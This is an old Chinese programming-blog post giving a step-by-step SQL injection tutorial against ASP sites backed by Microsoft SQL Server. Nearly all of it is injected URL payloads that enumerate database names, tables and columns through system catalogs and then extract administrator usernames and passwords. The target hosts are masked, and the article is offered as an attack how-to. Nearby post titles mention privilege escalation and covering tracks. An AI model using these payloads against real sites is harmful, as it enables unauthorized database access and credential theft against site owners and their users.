用户操作
[即时聊天] [发私信] [加为好友]
anotherID:aanother
38600次访问,排名3147,好友0人,关注者0人。
aanother的文章
原创 33 篇
翻译 0 篇
转载 6 篇
评论 43 篇
another的公告
最近评论
CIRENYIFENG:谢了!赞!
CIRENYIFENG:好啊,请教一下,我是初学者,这些都太深奥了,可不可以指点一下,怎么个入门法?
CIRENYIFENG:顶!

CIRENYIFENG:顶!

CIRENYIFENG:顶!

文章分类
收藏
相册
博客图片
文章中的图片
我的照片
站站通
Delphi盒子
ecai的专栏
资源网
存档
软件项目交易
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
订阅到BlogLines
订阅到Yahoo
订阅到GouGou
订阅到飞鸽
订阅到Rojo
订阅到newsgator
订阅到netvibes

原创 SQL注入之"全暴"收藏

新一篇: Guest权限提升方法总结 | 旧一篇: 黑客安全离开之"擦PP"

SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。

1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。

3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
 
 4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。
 

发表于 @ 2004年07月28日 14:02:00|评论(loading...)|编辑

新一篇: Guest权限提升方法总结 | 旧一篇: 黑客安全离开之"擦PP"

评论:没有评论。

发表评论  


当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
Csdn Blog version 3.1a
Copyright © another